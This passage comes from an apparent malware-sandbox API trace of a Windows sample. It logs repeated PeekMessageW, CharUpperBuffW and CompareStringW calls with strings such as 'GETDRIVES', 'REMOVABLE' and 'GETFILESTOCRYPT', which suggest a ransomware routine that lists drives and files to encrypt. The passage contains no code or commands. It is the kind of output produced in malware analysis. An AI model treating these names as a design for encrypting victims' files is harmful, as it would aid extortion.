lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.252] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.252] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.252] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.253] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.253] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.253] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.253] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.253] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.253] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.254] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.254] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.254] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.257] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.257] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.257] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.257] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.257] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.257] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.257] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.257] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.258] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.258] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.258] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.258] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.258] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.258] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.259] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.259] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.260] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.260] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.260] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.260] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.261] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.261] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.299] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.299] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.299] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.299] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.299] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.299] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.300] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.300] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.300] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.300] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.300] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.300] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.300] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.300] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.300] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.301] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.301] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.301] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.301] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.301] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.301] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.301] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.301] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.302] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.302] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.302] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.302] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.302] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.302] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.302] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.302] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.302] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.302] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.302] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.303] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.303] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.303] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.303] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.303] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.303] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.303] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.303] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.304] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.304] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.304] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.304] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.304] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.304] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.304] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.304] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.304] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.304] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.304] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.304] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.305] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.305] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.305] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.305] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.305] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.305] 